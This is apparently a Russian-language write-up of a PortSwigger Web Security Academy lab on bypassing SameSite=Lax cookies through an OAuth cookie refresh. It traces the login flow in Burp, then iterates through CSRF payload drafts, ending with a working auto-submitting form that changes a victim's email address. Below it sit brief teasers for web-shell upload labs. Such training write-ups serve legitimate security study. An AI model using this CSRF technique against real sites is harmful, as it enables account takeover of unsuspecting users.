На странице
SameSite Lax bypass через cookie refresh
Лаборатория
SameSite Lax bypass via cookie refresh · Practitioner
Решение
Дано
This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.
The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter
Полезная теория перед лабой
Если мы явно не задаём SameSite=Lax, то Chrome, например, сам поставит его по умолчанию. Но чтобы не ломать SSO-механизмы, существует двухминутное окно, когда ограничения не работают, и в этот момент можно сделать top-level POST-запрос.
Анализ задания
Как обычно, нужно поменять пароль пользователя, эксплуатируя CSRF-уязвимость в этой функции сайта. Способ доставки нагрузки — эксплоит-сервер. На стенде можно залогиниться, используя OAuth-механизм. В названии упоминается приём обхода SameSite=Lax с помощью обновления куки и получение интервала в 2 минуты для осуществления атаки. Один из способов вызвать refresh куки — использовать механизмы OAuth, если таковые используются на сайте.
Разведка
Начнём с того, что посмотрим, как работает этот OAuth-механизм.
Открываем, переходим в My Account. Открывается /social-login. Далее появляется форма ввода имени и пароля. Вводим данные, подтверждаем вход — успешно залогинило.
Окей, го в Burp посмотрим, что происходило под капотом.
Зашли по роуту /:
Set-Cookie: session=d24QySzpjR1y1S4SgUm3HQwkv62tQyzB; Expires=Wed, 13 May 2026 06:17:25 UTC; Secure; HttpOnly
Далее нажали My account — 302 на /social-login. /social-login возвращает HTML:
We are now redirecting you to login with social media...
После улетает запрос:
GET /auth?client_id=k6dgsunp2stqsamtsv7dx&redirect_uri=https://0a9500e1049ce82a809f0dda009f005b.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
Здесь интересен параметр redirect_uri.
Редирект:
Location: /interaction/LAZ1IMVxqtF29LA_RotP_
Тут уже возвращается HTML с формой логина и пароля. Вводили мы данные, после улетел POST:
POST /interaction/LAZ1IMVxqtF29LA_RotP_/login HTTP/2
Далее редирект:
Location: https://oauth-0ad6005204a6e85480110b7f023c0064.oauth-server.net/auth/LAZ1IMVxqtF29LA_RotP_
Тут прилетает HTML с формой подтверждения. Нажимали кнопку Подтвердить, улетал POST:
POST /interaction/LAZ1IMVxqtF29LA_RotP_/confirm
Далее редирект:
Location: https://oauth-0ad6005204a6e85480110b7f023c0064.oauth-server.net/auth/LAZ1IMVxqtF29LA_RotP_
И финальный редирект:
Location: https://0a9500e1049ce82a809f0dda009f005b.web-security-academy.net/oauth-callback?code=EfrIA4L3nJzkTP9obKYYhqEYZ7Vamc3760c7p-gKQaf
Тут пишут, что логин успешный, и ставят куки:
Set-Cookie: session=2ZbppT7TSh2deVGAFkixzjPSOn3bBF2C; Expires=Wed, 13 May 2026 06:17:56 UTC; Secure; HttpOnly
Окей, посмотрим теперь этот флоу ещё раз. Если верить доке PortSwigger, то, запустив флоу ещё раз, он уже не будет просить ввода логина и пароля.
Можем попробовать перейти на роут /social-login. И правда, происходит сразу вызов /oauth-callback.
Теперь ещё посмотрим, как происходит смена email пользователя:
POST /my-account/change-email
Session-кука и новый email. CSRF-токен не требуется.
Мысли о возможной нагрузке
Один из шагов — обновить куки, используя OAuth.
/social-login нам не подойдёт, поскольку нам нужно, чтобы после рефреша кук пользователя мы об этом узнали, а следовательно, нам нужно задать свой redirect_uri:
https://oauth-0a98007a0429541581ce2d60021d0097.oauth-server.net/auth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https://0a21000b0447543f81912fc400e200e0.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email
Пока не понимаю, подойдёт ли нам этот способ или будет проще реализовать через открытие OAuth-флоу в новой вкладке. Имею в виду способ, при котором на первой странице мы редиректим пользователя на OAuth, а потом нам надо принять редирект на другом роуте и стартовать атаку. На эксплоит-сервере PortSwigger мы не можем делать несколько эндпоинтов, а нам нужно бы 2 в таком случае: первый — куда придёт пользователь, второй — куда вернём пользователя после обновления кук. А в случае открытия в новой вкладке просто запускаем атаку спустя небольшое время?
А нет, можно же просто redirect_uri задать https://exploit-0abd0038045754a381572e0b01ad0028.exploit-server.net/exploit?startAttack=true.
Тогда черновик нагрузки:
<script>
const url = new URL(document.location.href)
const startAttack = url.searchParams.get('startAttack')
if (startAttack) {
// Запуск атаки
// Тут нужно POST-запрос сделать /my-account/change-email
console.log('Пора запускать атаку')
} else {
// Тут редиректим на OAuth flow
// Но ставим свой URL для редиректа
location = "https://oauth-0a98007a0429541581ce2d60021d0097.oauth-server.net/auth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https://exploit-0abd0038045754a381572e0b01ad0028.exploit-server.net/exploit?startAttack=true?response_type=code&scope=openid%20profile%20email"
}
</script>
oops! something went wrong
error: redirect_uri_mismatch
error_description: redirect_uri did not match any of the client's registered redirect_uris
Хм, получается, не выйдет подменить redirect_uri.
Может быть, тогда вариант 2: нагрузка просто будет ждать клика, открывать OAuth в отдельном окне, и мы спустя секунд 5 будем запускать атаку.
<script>
window.onclick = () => {
window.open('https://oauth-0a88003704ea253e81a62dea022a00dc.oauth-server.net/auth?client_id=yend8x58elno9xb2nm2oq&redirect_uri=https://0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email)');
}
setTimeout(() => {
fetch('https://0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net/my-account/change-email', { method: 'POST', body: 'email=yes@no.ru' })
}, 5000)
</script>
Не, 500 — Server Error.
Раз уж нам сейчас не нужно менять redirect_uri, оставим тогда просто редирект на /social-login:
<script>
window.onclick = () => {
window.open('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/social-login');
setTimeout(() => {
fetch('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/my-account/change-email', { method: 'POST', body: new URLSearchParams({ email: 'ne1@n.ru' }) })
}, 20000)
}
</script>
Кука обновляется, но что-то fetch не проходит — возвращает 302. Редирект на /social-login.
О, может, забыли добавить credentials: 'include'?
<script>
window.onclick = () => {
window.open('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/social-login');
setTimeout(() => {
fetch('https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/my-account/change-email', {
method: 'POST',
body: new URLSearchParams({ email: 'ne1@n.ru' }),
credentials: 'include'
})
}, 20000)
}
</script>
Хм, и кука, похоже, не прикрепляется. И в целом CORS error:
Access to fetch at 'https://0a3f006d033961eb818d7b5e002400be.web-security-academy.net/my-account/change-email' from origin 'https://exploit-0ad7003e03c2613c81b57ab701040017.exploit-server.net' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'.
Похоже, я упустил важный момент — для передачи куки нужно совершить именно POST top-level navigation, обычный fetch() не подойдёт, нужен сабмит формы. Доработаем нагрузку. Возьмём форму смены email со страницы лабы и через 15 секунд после открытия окна на рефреш кук отправим запрос на смену email.
<form class="login-form" name="change-email-form" action="https://0a100008031934bc80105d4a0034009e.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="xxx@yyy.ru">
<button class="button" type="submit">Update email</button>
</form>
<script>
window.onclick = () => {
window.open('https://0a100008031934bc80105d4a0034009e.web-security-academy.net/social-login');
setTimeout(() => {
document.forms[0].submit();
}, 15000)
}
</script>
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.